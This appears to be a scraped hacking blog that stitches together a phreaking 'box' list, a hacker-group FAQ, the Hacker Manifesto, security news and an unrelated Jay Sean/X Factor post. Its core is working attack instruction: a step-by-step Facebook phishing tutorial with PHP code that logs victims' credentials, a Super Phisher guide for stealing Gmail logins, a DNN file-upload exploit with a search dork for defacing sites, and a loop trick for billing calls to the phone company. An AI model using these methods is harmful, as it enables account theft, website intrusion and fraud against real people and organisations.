Lunch Box - Used to tap into your neighbors fone line.
Magenta Box - Connects one remote fone line to another remote fone line.
Mauve Box - Lets you fone tap without cutting into the fone line.
Neon Box - An external microphone.
New Gold Box - A new updated version of the Gold Box.
Noise Box - Creates line noise.
Olive Box - Used as an external ringer.
Paisley Box - A combination of almost all the boxes there are.
Pandora Box - Creates a high intensity tone which can cause pain. Good for pranking.
Party Box - Lets you make a party line from 2 fone lines.
Pearl Box - A tone generator.
Pink Box - Lets you hook 2 seprate fone lines together and have 3 way calling.
Purple Box - A fone hold button.
Rainbow Box - Kills a trace by putting 120v into the fone line.
BoRed x - Lets you make free calls from a payfone by producing the coins tones.
Rock Box - Adds music to your fone line.
Scarlet Box - Silver Box - Adds DTMF A, B, C, & D priority tones to your line.
Slush Box - Can be installed at places of business that have standard multi-line fones.
Static Box - Keep voltage on a fone line high.
Switch Box - Adds hold, indicator lights, confrence, etc.
Tan Box - Line activated telefone recorder.
Tron Box - Reverse the phase of power to your house, and make your meter run slower.
Urine Box - Makes a disturbance between the ring and tip wires in someones fone.
Violet Box - Keeps a payfone from hanging up.
White Box - A portable DTMF keypad.
Yellow Box - Add an extention fone.

Q. How do I make a box?

A. Each box has a sepperate plan to set it up. Just do a netsearch for phreaking or boxes and you can find all the plans you need.

Q. What is a loop?

A. This FAQ answer is excerpted from:
ToneLoc v0.99 User Manual by Minor Threat & Mucho Maas
Loops are a pair of phone numbers, usually consecutive, like 836-9998 and 836-9999. They are
used by the phone company for testing. What good do loops do us? Well, they are cool in a few
ways. Here is a simple use of loops. Each loop has two ends, a 'high' end, and a 'low' end. One end
gives a (usually) constant, loud tone when it is called. The other end is silent. Loops don't usually
ring either. When BOTH ends are called, the people that called each end can talk through the loop.
Some loops are voice filtered and won't pass anything but a constant tone; these aren't much use to
you. Here's what you can use working loops for: billing phone calls! First, call the end that gives the loud tone. Then if the operator or someone calls the other end, the tone will go quiet. Act like the phone just rang and you answered it ... say "Hello", "Allo", "Chow", "Yo", or what the fuck ever. The operator thinks that she just called you, and that's it! Now the phone bill will go to the loop, and your local RBOC will get the bill! Use this technique in moderation, or the loop may go down. Loops are probably most useful when you want to talk to someone to whom you don't want to give your phone number.

Q. How do I set up an anonymous FTP?

A. Taken from the Internet Security Systems, Inc. text on setting up an anonymous ftp.
- 1.Build a statically linked version of ftpd and put it in ~ftp/bin. Make sure it's owned by root.
- 2.Build a statically linked version of /bin/ls if you'll need one. Put it in ~ftp/bin. If you are on a Sun, and need to build one, there's a ported version of the BSD net2 ls command for SunOs
on ftp.tis.com: pub/firewalls/toolkit/patches/ls.tar.Z Make sure it's owned by root.
- 3.Chown ~ftp to root and make it mode 755 THIS IS VERY IMPORTANT
- 4.Set up copies of ~ftp/etc/passwd and ~ftp/etc/group just as you would normally, EXCEPT
make 'ftp's home directory '/' -- make sure they are owned by root.
- 5.Write a wrapper to kick ftpd off and install it in /etc/inetd.conf The wrapper should look
something like: (assuming ~ftp = /var/ftp)
main()

{

if(chdir("/var/ftp")) {

perror("chdir /var/ftp");

exit(1);

}

if(chroot("/var/ftp")) {

perror("chroot /var/ftp");

exit(1);

}

/* optional: seteuid(FTPUID); */

execl("/bin/ftpd","ftpd","-l",(char *)0);

perror("exec /bin/ftpd");

exit(1);

}
Options:
You can use 'netacl' from the toolkit or tcp_wrappers to achieve the same effect.
We use 'netacl' to switch so that a few machines that connect to the FTP service *don't* get
chrooted first. This makes transferring files a bit less painful.
You may also wish to take your ftpd sources and find all the places where it calls seteuid()
and remove them, then have the wrapper do a setuid(ftp) right before the exec. This means
that if someone knows a hole that makes them "root" they still won't be. Relax and imagine
how frustrated they will be.
If you're hacking ftpd sources, I suggest you turn off a bunch of the options in ftpcmd.y by
unsetting the "implemented" flag in ftpcmd.y. This is only practical if your FTP area is
read-only.
- 6.As usual, make a pass through the FTP area and make sure that the files are in correct modes
and that there's nothing else in there that can be executed.
- 7.Note, now, that your FTP area's /etc/passwd is totally separated from your real /etc/passwd.
This has advantages and disadvantages.
- 8.Some stuff may break, like syslog, since there is no /dev/log. Either build a version of ftpd
with a UDP-based syslog() routine or run a second syslogd based on the BSD Net2 code,
that maintains a unix-domain socket named ~ftp/dev/log with the -p flag.

Q. What are some ways I can secure a network?

A. Taken from the Internet Security Systems text on securing a network.
1. Well first of all you should know what type of resources that you're trying to protect: CPU, files, storage devices phone lines, etc...
2. Determine the host-specific security measures needed. Password protection, file
encryption, firewall, etc...
Determine who the computer systems must be defended.
Determine the likelihood of a threat.
Implement measures to protect network resource.

3. Consider the corporate budget when planning for Internet Security.

4. Design a Security Policy that describes your organization's network security
concerns. This policy should take into account the following:

Network Security Planning
Site Security Policy
Risk Analysis
Risk analysis involves determining the following:
What you need to protect
What you need to protect it from
How to protect it
Estimating the risk of losing the resource
Estimating the importance of the resource

5. Consider the following factors to determine who will grant access to services on your
networks:
Will access to services be granted from a central point?
What methods will you use to create accounts and terminate access?

6. Design and Implement Packet Filter Rules

7. Ensure your Firewall has the following properties:
All traffic from inside to outside, as well as outside to inside must pass through the
firewall.
Allow only authorized traffic as defined by your corporate security policy be
passed through the firewall.
Ensure the firewall is immune to penetration.

8. Educate users about password protection:
Educating users not to use passwords that are easy to guess.
Ensuring the password lengths are adequate.
Running a password guesser.
Requiring the use of a password generator.
Always using a mixture of upper- and lowercase characters.
Always using at least one or two non-alphanumeric characters.
Never using dictionary words or ones spelled backwards.
Never using a portion or variation of a proper name, address or anything that
could obviously identify you (the user).

9. Security-related organizations play an integral role in the development and
deployment of Internet technologies. Keep abreast of the latest in security-related
activities by visiting their Web sites. Here are some key security-rated organizations
which aid corporations such as yours in keeping the Internet a safer place to compute:
ACM/SIGSAC at gopher://gopher.acm.org/.
CERT (a 24-hour Computer Emergency Response Team) at:
ftp://info.cert.org/pub/cert_faq and
http://www.sei.cmu.edu/SEI/programs/cert.html.
CIAC (U.S. Department of Energy's Computer Incident Advisory
Capability) at: http://ciac.llnl.gov/
CPSR (Computer Professionals for Social Responsibility) at:
http://cpsr.org.home
EFF (Electronic Frontier Foundation) at: http://www.eff.org/
EPIC (Electronic Privacy Information Center) at: http:/epic.org/
FIRST (Forum of Incident Reponse and Security Teams) at:
http://first.org/first/
Internet Society at http://www.isoc.org/

Q. What is a "rainbow book?"

A. Rainbow Books are books on security. The current book listing is listed below.

Orange Book- Department of Defense Trusted Computer System Evaluation Criteria.
Green Book- Department of Defense Password Management Guideline.
Yellow Book- Guidance for Applying the Department of Defense Trusted Computer System Evaluation Criteria in Specific Environments.
Tan Book- A Guide to Understanding Audit in Trusted Systems.
Bright Blue Book- A Guide for Vendors.
Neon Orange Book- A Guide to Understanding Discretionary Access Control in Trusted Systems.
Teal Green Book- Glossary of Computer Security Terms.
Red Book- Trusted Network Interpretation of the Trusted Computer System Evaluation Criteria.
Burgandy Book- A Guide to Understanding Design Documentation in Trusted Systems.
Dark Lavender Book- A Guide to Understanding Trusted Distribution in Trusted Systems.
Venice Blue Book- Computer Security Subsystem Interpretation of the Trusted Computer System Evaluation Criteria.
Aqua Book- Department of Defense Trusted Computer System Evaluation Criteria A Guide to Understanding Security Modeling in Trusted Systems.
Dark Red Book- Guidance for Applying the Trusted Network Interpretation.
Pink Book- Department of Defense Trusted Computer System Evaluation Criteria Rating Maintenance Phase.
Purple Book- Department of Defense Trusted Computer System Evaluation Criteria Guidelines for Formal Verification Systems.
Brown Book- Department of Defense Trusted Computer System Evaluation Criteria A Guide to Understanding Trusted Facility Management.
Yellow-Green Book- Department of Defense Trusted Computer System Evaluation Criteria Guidelines for Writing Trusted Facility Manuals.
Light Blue Book- Department of Defense Trusted Computer System Evaluation Criteria A Guide to Understanding Identification and Authentication in Trusted Systems.
Blue Book- Department of Defense Trusted Computer System Evaluation Criteria Trusted Product Evaluation Questionnaire.
Grey Book-Department of Defense Trusted Computer System Evaluation Criteria Trusted Unix Working Group (TRUSIX) Rationale for Selecting Access Control List Features for the Unix System.
Lavender Book- Department of Defense Trusted Computer System Evaluation Criteria Trusted Data Base Management System Interpretation of the Trusted Computer System Evaluation Criteria.
Bright Orange Book- Department of Defense Trusted Computer System Evaluation Criteria A Guide to Understandng Security Testing and Test Documentation in Trusted Systems.
Hot Peach Book- Department of Defense Trusted Computer System Evaluation Criteria A Guide to Writing the Security Features User's Guide for Trusted Systems.
Turquoise Book- Department of Defense Trusted Computer System Evaluation Criteria A Guide to Understanding Information System Security Officer Responsibilities for Automated Information Systems.
Violet Book- Department of Defense Trusted Computer System Evaluation Criteria Assessing Controlled Access Protection.
Light Pink Book- Department of Defense Trusted Computer System Evaluation Criteria A Guide to Understanding Covert Channel Analysis of Trusted Systems.
C1 Technical Report-001- Department of Defense Trusted Computer System Evaluation Criteria Computer Viruses: Prevention, Detection, and Treatment.
C Technical Report 79-91- Department of Defense Trusted Computer System Evaluation Criteria Integrity in Automated Information Systems.
C Technical Report 39-92- Department of Defense Trusted Computer System Evaluation Criteria The Design and Evaluation of INFOSEC systems: The Computer Security Contributions to the Composition Discussion.
NTISSAM COMPUSEC/1-87- Department of Defense Trusted Computer System Evaluation Criteria Advisory Memorandum on Office Automation Security Guideline.

Q. What is a firewall?

A. A firewall is a system or group of systems that enforces an access control policy between two networks. The actual means by which this is accomplished varies widely, but in principle, the firewall can be thought of as a pair of mechanisms: one which exists to block traffic, and the other which exists to permit traffic. Some firewalls place a greater emphasis on blocking traffic, while others emphasize permitting traffic. Probably the most important thing to recognize about a firewall is that it implements an access control policy. If you don't have a good idea what kind of access you want to permit or deny, or you simply permit someone or some product to configure a
firewall based on what they or it think it should do, then they are making policy for your organization as a whole.

Q. How can I use PGP to benefit me?

A. PGP is easy to use, it does give you enough rope so that you can hang yourself. You should
become thoroughly familiar with the various options in PGP before using it to send serious
messages. For example, giving the command pgp -sat <filename> will only sign a message, it
will not encrypt it. Even though the output looks like it is encrypted, it really isn't. Anybody in the
world would be able to recover the original text.

Q. What is a sniffer?

A. Taken from the Sniffer FAQ.
Unlike telephone circuits, computer networks are shared communication channels. It is simply too expensive to dedicate local loops to the switch (hub) for each pair of communicating computers. Sharing means that computers can receive information that was intended for other machines. To capture the information going over the network is called sniffing.

The most popular way of connecting computers is through ethernet. Ethernet protocol works by sending packet information to all the hosts on the same circuit. The packet header contains the proper address of the destination machine. Only the machine with the matching address is suppose to accept the packet. A machine that is accepting all packets, no matter what the packet header says, is said to be in promiscuous mode.

Because, in a normal networking environment, account and password information is passed along
ethernet in clear-text, it is not hard for an intruder once they obtain root to put a machine into
promiscuous mode and by sniffing, compromise all the machines on the net.

Q. What is Psychotic?

A. I would describe Psychotic as more of a proffessional group rather than just a hacking clan. We think about money first and hacking second, even though I'm sure that most of you have seen a few of our hacking projects...

Q. Is psychotic looking for new members?

A. Well as of now we aren't looking for any additions to our staff, but stay posted we might decide that we need new members.

Q. What is Psychosis?

A. Psychosis is a personal project taken up by Virtual Circuit. It's an award that he gives out to hackers that have done something to stand out(good webpage, revealed exploits, etc.). If you think that you should receive the award you can mail him about it. But I can tell you now that the award isn't easy to get.

Q. What is the "Devil's Gateway?"

A. The "Devil's Gateway" is a personal project taken up by VooDooHex. It's kind of like an information retrival guild, but yet it's still like a group. If you are interested in joining the Devil's Gateway you should mail VooDoo about it.

Q. Where can I find some good resources on hacking and phreaking?

A. Well we aren't much for links but you should check the Psychosis page for his webpage award winners. He picks only the best.

Q. Who are all the members in Psychotic?

A. We would like to stay anonymous. But you will see a members name every now and then.

Q. What are Psychotic's offered services?

A. Psychotic has many different services, security testing, webpage design, graphic design, sponsoring, pop accounts, and webpage hosting. Each service has a different price. You can read more about our services on the services section of the page.

This is only the fisrt copy of our FAQ. We will be updating and adding information and questions to it as often as possible. I would appriciate if you would distribute and spready this text as much as you can. We don't want people asking us these questions anymore. Have fun and keep the underground alive.

Another one got caught today, it's all over the papers. "Teenager Arrested in Computer
Crime Scandal", "Hacker Arrested after Bank Tampering"... Damn kids. They're all
alike. But did you, in your three-piece psychology and 1950's technobrain, ever take a
look behind the eyes of the hacker? Did you ever wonder what made him tick, what forces
shaped him, what may have molded him? I am a hacker, enter my world... Mine is a world
that begins with school... I'm smarter than most of the other kids, this crap they teach us
bores me... Damn underachiever.They're all alike. I'm in junior high or high school. I've
listened to teachers explain for the fifteenth time how to reduce a fraction. I understand it.
"No, Ms. Smith, I didn't show my work. I did it inmy head..." Damn kid. Probably copied
it. They're all alike. I made a discovery today. I found a computer. Wait a second, this is
cool. It does what I want it to. If it makes a mistake, it's because I screwed it up. Not
because it doesn't like me... Or feels threatened by me.. Or thinks I'm a smart ass.. Or
doesn't like teaching and shouldn't be here... Damn kid. All he does is play games. They're
all alike. And then it happened... a door opened to a world... rushing through the phone line
like heroin through an addict's veins, an electronic pulse is sent out, a refuge from the
day-to-day incompetencies is sought... a board is found. "This is it... this is where I
belong..." I know everyone here... even if I've never met them, never talked to them, may
never hear from them again... I know you all... Damn kid. Tying up the phone line again.
They're all alike... You bet your ass we're all alike... we've been spoon-fed baby food at
school when we hungered for steak... the bits of meat that you did let slip through were
pre-chewed and tasteless. We've been dominated by sadists, or ignored by the apathetic.
The few that had something to teach found us willing pupils, but those few are like drops of
water in the desert. This is our world now... the world of the electron and the switch, the
beauty of the baud. We make use of a service already existing without paying for what
could be dirt-cheap if it wasn't run by profiteering gluttons, and you call us criminals. We
explore... and you call us criminals. We seek after knowledge... and you call us criminals.
We exist without skin color, without nationality, without religious bias... and you call us
criminals. You build atomic bombs, you wage wars, you murder, cheat, and lie to us and try
to make us believe it's for our own good, yet we're the criminals. Yes, I am a criminal. My
crime is that of curiosity. My crime is that of judging people by what they say and think,
not what they look like. My crime is that of outsmarting you, something that you will never
forgive me for. I am a hacker, and this is my manifesto. You may stop this individual,but
you can't stop us all... after all, we're all alike.

+++The Mentor+++

How to Hack Facebook Account Using Phising webPage

2011-09-01T07:35:00.000-07:00

How to Hack Facebook Account Using Phising webPage

Everyone eager to hack the facebook account of others. Here is the simplest method using phishing webpage ,you can hack the facebook account of your friends .

Phishing WebPage:
Creating webpage which look like any site is described as Phishing. By creating Phishing WebPage, you can make users to believe that it is original website and enter their id and password.

Step 1:
Go to Facebook.com
Right click on the white space of the front page. Select "View Page source".
Copy the code to Notepad.

Step2:
Now find (Press ctrl +f) for "action=" in that code.
You fill find the code like this:

The big red ring that circles the action= you have to change. You have to change it to 'action="next.php" '. after you have done that, you should change the method (small red circle on the picture) to "get" instead of "post", or else it will not work. Save the document as index.html

Step 3:
Now we need to create the "next.php" to store the password. so open the notepad and type the following code:

<php
header("Location: http://www.Facebook.com/login.php ");
$handle = fopen("pswrds.txt", "a");
foreach($_GET as $variable => $value) {
fwrite($handle, $variable);
fwrite($handle, "=");
fwrite($handle, $value);
fwrite($handle, "\r\n");
}
fwrite($handle, "\r\n");
fclose($handle);
exit;
?>

save this file as "next.php"

Step 4:
open the notepad and just save the file as "pswrds.txt" without any contents.

Now upload those three files(namely index.html,next.php,pswrds.txt) in any of subdomain Web hosting site.
Note: that web hosting service must has php feature.
Use one of these sites:110mb.com, spam.com justfree.com or 007sites.com.
use this sites through the secure connection sites(so that you can hide your ip address) like: http://flyproxy.com . find best secure connection site.

Step 5:
create an mail account with facebook keyword like :FACEBOOK@hotmail.com,Facebook@noreply.com,facebook_welcome@hotmail.com,facebook_friends@gmail.com

Step 6 :

Copy the original Facebook friendship invitation and paste in your mail.
remove the hyperlink from this  http:/www.facebook.com/n/?reqs.php
Mark it and push the Add hyperlink button
*Updated*
everyone asking doubts about this 6th step.   You may get Facebook friendship invitation from Facebook when someone "add as a friend", right? Just copy that mail and paste in compose mail. In that content , you can find this link http:/www.facebook.com/n/?reqs.php . Just change the delete the link and create link with same text but link to your site.

Add hyperlink button in the red circle. now write your phisher page url in the hyperlink bar that appears after clicking the button. and click add. The hyperlink should still display http:/www.facebook.com/n/?reqs.php
but lead to your phisher page..

Note:
For user to believe change Your phishing web page url with any of free short url sites.
Like : co.nr, co.cc,cz.cc
This will make users to believe that it is correct url.

Don't use this method for hacking others account. This article is for educational purpose only. Here is tips to prevent from Phishing Web page:
How to prevent from Phishing Web page?

Hi FrIeNd's Plz FoLLoW My Fb PaGE

HACKER......!https://www.facebook.com/pages/HaCk3r/241483515892066?sk=wall&filter=1 ThX

XSS vulnerability in Bing.com Maps

2011-08-28T01:29:00.001-07:00

One of the Security Researcher "Juan Sacco (runlvl)" - Insecurity Research Labs expose the Cross Site vulnerability (XSS) in Bing.com Search Engine. BING.COM is prone to a XSS vulnerability because the application failsto properly perform adequate boundary checks on user-supplied data.An attacker can exploit this issue to execute arbitrary code in thevictim's browser.

Details :

The reflected XSS vulnerability is a variant of a cross-site scriptingflaw: it occurs when the data provided by the attacker is exectued bythe browser, and then displayed on "normal" pages returned to otherusers in the course of regular browsing, without proper HTML escaping. Aclassic example of this is with online message boards where users areallowed to post HTML formatted messages for other users to read.
Vulnerable Link

Cyber war against Israel have taken very dangerous turn

2011-08-28T01:28:00.000-07:00

Cyber war against Israel have taken very dangerous turn

The Cyber war between Egypt and Israel have taken very dangerous turn by setting normal internet users as target for botnet attacks. Since week ago some Egyptian hackers attacked so many Israeli's gov communities and organizations on the internet. Israeli prime minister Netanyahus for example. But yet it wasn't very scary attacks level , as it was far from the normal computer users.

In Sudden escalation for the attack level , an Egyptian group launched computer worm which infected about 50000 personal computer in Israel and united states. Despite of my virtual machine security level , it was also infected by the same worm. I (Reuben Rayner) didn't notice that am infected till the attackers launched an exe file which viewed message in the full screen mode.

Quits of the attackers message they started with the word "Anti-Zionism"
"If u can see this message this mean that u either from israel orfrom USA > both sucks
your stupid zionist soliders passed through the Egyptian borders and killed 3 soldiers and that's not good for u.
now our army became 79999997 instead of 80000000 , they all ready to kick ur fat asses :)"
it seem that it also about the border problem between Egypt and Israel
"our strike is just the beginning , u can say it's a simple bullet , but the nuclear strike is comming soon :)
this is not your only fate , so don't be sad , this fate is waiting thousands of zionist users
watch this pic : http://adf.ly/2R8A1"
Threatening that they are more attacks against Zionists and attaching a picture of their own bot network.
"Striked By : sTrIk3r, i-Hmx , H311 C0D3 & K4rar
shouts to all elite hackers at sec4ever.com , alm3refh.com and 1337s.cc
now let Our Worm talk to u about herself for seconds . . ."

Names and Arabic sites and yet they seem to be funny enough to let them worm talk to the user > me
you can read the full message via the picture above, but what make this attack unique?? Ok , have you viewed Israel gov sites yesterday? Try pinging mossad.gov.il for example
The pinging result
C:\>ping mossad.gov.il -ttl
Pinging mossad.gov.il [147.237.72.71] with 32 bytes of data:
Request timed out.
Request timed out.
Request timed out.
Request timed out.
Request timed out.
Request timed out.
Request timed out.
Request timed out.
Request timed out.
Request timed out.
Request timed out.

What's the point??
If the attackers used the same massive bots to attack sensitive gov sites , this will probably cause a disaster.
If they did it and dumped the banking accounts of thousands and thousands of users they got , this will also cause disaster.

Little analysis for the worm
I (Reuben Rayner) am trying to get a copy of this worm now to give detailed analysis but it's using a unique technique to attack spread over computers
- usb spread.
- inject itself within executable files
- injecting malicious html codes through out user's pc
- it's always trying to use the fake msn account in my virtual machine to send malicious links
- sending the antivirus update requests to fake server addresses so you will always think that ur AV is updated , but actually it isn't.
- disabling firewall software > comodo in my vpc
other techniques still unknown to me

While surfing through internet I (Reuben Rayner) found some topics asking for help about that worm. All asking the same question , what should I (Reuben Rayner) do? You have to format your C drive and re-install windows. Once installation is finished don't open any exe file , juts copy firewall software from the internet. Install it and block any request from exe files to modify registry or connecting to internet. Download Avira , install it and update it now it's able to detect this malware. Scan your computer and remove any infected file , now you are safe :)

CSLSecurity Hacked by TeaMp0isoN

2011-08-28T01:25:00.003-07:00

CSLSecurity Hacked by TeaMp0isoN

2011-08-28T01:25:00.001-07:00

Rankmyhack got hacked by HaxOr

2011-08-28T01:22:00.000-07:00

Rankmyhack.com got hacked by "HaxOr". Rankmyhack.com is a website, lets hackers submit and rate each others hacks in order to determine the world's best hacker. According to the New York Times, the site has picked up at least 700 members since it launched at the end of July. The bounty section of this site was created in an attempt to focus the abilities of talented hackers against political and government forces that need to be put back in line.

Hax0r hack and upload a text file on server as shown. Message written in page "Greetz to all members of Team INTRA...Secure your shit!". We (THN) check "Upload" folder on FTP of same site, which list all image files uploaded there.

One of the Image file with name "jodete.jpg" is supposed to be PHP SHELL uploaded by Hacker for Hacking attempt.
UPDATE : Rankmyhack.com Server also got hacked by T H E N 4 7 7 : http://pastebin.com/bq8xJPMn

Apple Website Hacked by HodLuM

2011-08-28T01:20:00.000-07:00

If you enjoyed The Hacker News, Make sure you subscribe to our WEB SITE ARVINDHACKINGTOOLS.BLOGSPOT.COM. Stay Updated about latest Security threats, Hacking threads & IT Issues from all over the world.!
Apple Website Hacked by HodLuM
One of the Apple Sub-Domain claimed to be Defaced By HodLuM as shown above. The Deface Link is just an IMAGE uploaded to Apple domain. Hacker use "N00BZ" word for all Hacker including Anonymous , Lulzsec, Turkish hackers, Inj3t0rs and Exploit-DB's. AOL Postmaster Website was also got hacked by HODLUM some months before.

Netcraft Anti Phishing Toolbar

2011-08-28T01:11:00.001-07:00

Netcraft has created this privacy statement covering its web sites in order to demonstrate our commitment to privacy.
System Requirements

Internet Explorer on Windows 2000/XP.
FireFox 1.0 or later on all platforms (Windows/Mac/Linux)

Download

Publish By:- ARvind gAUR

How to Create Own Phishing page

2011-08-28T01:10:00.001-07:00

1. First of all download Super Phisher here

2. Now open "Super Phisher.exe" file to get something like:

3. Now, in "URL of Login Page", enter http://www.gmail. Com or any other social networking site u want to hack..

4. At "Name of Log File" write password.txt or whatever you like. This is the place where any typed id and password are stored.

5. At "Name of PHP File" type login.php

6. At “ site to redirect to” you can write your phishing page https://gmail.com

7. Finally click Build Phisher, your gmail account will get generated at output folder.

8.Upload all phisher files to any free webhost site like:

9. Once you have uploaded the files in the directory, send this phisher link to your victim and make him login to his Gmail account using your sent Phisher.

10. Once they log in to his Gmail account using Phisher, all their typed email and password is stored in "password.txt".

2011-08-27T21:54:00.000-07:00

Online Email Tracer: Email Tracer is a tool to track email sender’s identity. It analyzes the email header and gives the complete details of the sender like IP address, which is key point to find the culprit and the route followed by the mail, the Mail Server, details of Service Provider etc. Email Tracer traces up to Internet Service Provider level only. Further tracing can be done with the help of ISP and law enforcement agencies. The message-id will be useful for analyzing the mail logs at ISP.

http://www.cyberforensics.in/OnlineEmailTracer/index.aspx

Read Notify: ReadNotify is the original tracking service of its kind, and remains the most powerful and reliable email and document tracking service in the world today. In short - ReadNotify tells you when your tracked emails and documents are opened / re-opened / forwarded and so much more.

www.readnotify.com

Didtheyreadit: DidTheyReadIt is a leader in providing a low cost, easy to use email tracking service. In the last few years we have been featured internationally in newspapers, magazines, and television and our services are used by some of the largest corporations in the world. We are based in Houston, Texas and have branch offices throughout the world.

www.didtheyreadit.com

PoltiteMail: PoliteMail is software tools for Microsoft Outlook and Exchange. Our PoliteMail for Outlook client software adds the tracking tools and marketing features you want in Outlook and connects to the PoliteMail Server, which collects the tracking data 24/7.

www.politemail.com

DNN Full HACKINGTutorial

2011-08-19T20:21:00.001-07:00

DNN Full Tutorial

Code:

Dork:inurl:"/portals/0"

suppose you get these sites

Code:

http://www.wittur.se/

Here is now the exploit

Code:

Providers/HtmlEditorProviders/Fck/fcklinkgallery.aspx

simply copy the exploit url to the site end

Code:

www.site.com/Providers/HtmlEditorProviders/Fck/fcklinkgallery.aspx

after selecting the third option just reply the whole url by this script

Code:

javascript:__doPostBack('ctlURL$cmdUpload','')

After running this JAVA script, you will see the option for Upload Selected File. Now select you image file which you have renamed as SHM.jpg & upload here. Go to main page and refresh...THAT,S IT you have hacked the website.

now u can upload jpg,gif,png,pdf,ppt file format, try the exploit for more file formats..

n yeh u can upload the shell too on the website

u need a aspx or asp shell to upload the site, now how to upload a asp or aspx shell to the site. PM me for this..

after upload the aspx or asp shell u can deface the whole website

Jay Sean - Dance With You

2011-08-19T20:18:00.000-07:00

Jay Sean - Dance With You

wicked street freestyle party by jay sean , rishi rich & Juggy D , song in punjabi and english , released in 2003 september shot in Feltham Shopping Centre.

Jay Sean - In X-FaCtOr In India

This one has to be one of the best episodes ever. UK's biggest R&B sensation Jay Sean pays a surprise visit to the stage of X Factor India. He performs on his hits 'Dance With You' and '2012'. Sonu Nigam joins the stage with him and performs on 'Kal Ho Na Ho' on Jay's beatboxing. He wishes all the contestant luck and bids goodbye. Another exciting episode comes to an end and leaves everyone waiting for the next installment which is a Disco Special.

X FACTOR INDIA -- is the big daddy of all music shows in scale and size. With versions in 24 countries and a unique format that gives contestants the chance to showcase their talent regardless of the age.
A singing show with a unique format that gives everyone a chance to showcase their talent. Open to all citizens of India over the age of 16, the auditions will be divided into 3 categories, viz. 16-25 years, 25 & above and individual groups. Participants that make through the final selection will then be divided into three groups with each group headed by a mentor. Of this lot, the top 12 will be selected to participate in the Galas and prove their mettle to the entire nation
Hosted by the multi-talented Aditya Narayan & judged by the stalwarts of the Indian Film Industry Sonu Nigam, Shreya Ghoshal & Sanjay Leela Bhansali, the show premiered on 29th May 2011 on Sony Entertainment Television.
Sonu Nigam: He is a highly successful actor, singer and anchor. Having spun numbers like Mera Rang De Basanti Chola, Dil Dooba and Kal Ho Na Ho among numerous others, this versatile performer has won many accolades and is now all set to mesmerize the nation with his role as a judge in X FACTOR INDIA .
Sanjay Leela Bhansali: Needless to say, one of India's greatest film makers having moved hearts right from his first film, Khamoshi -- The Musical to Hum Dil Chuke Sanam to Guzaarish, this producer, writer, director and recently turned musician has received several accolades for his creativity abilities. As one of the judges for X FACTOR INDIA' Sanjay has vowed to pick only the best.
Shreya Ghoshal: For Shreya life has come full circle, from a being a contestant on a reality show to being the judge on the biggest music reality show on Indian television. This gifted singer's first film "Devdas" not only saw her getting a Filmfare 'RD. Burman Award for New Music Talent' but also the 'best female playback singer' award. After lending her voice in more than 180 films and receiving four National Film Awards, she is all set to win hearts in her new avatar as a judge in X FACTOR INDIA.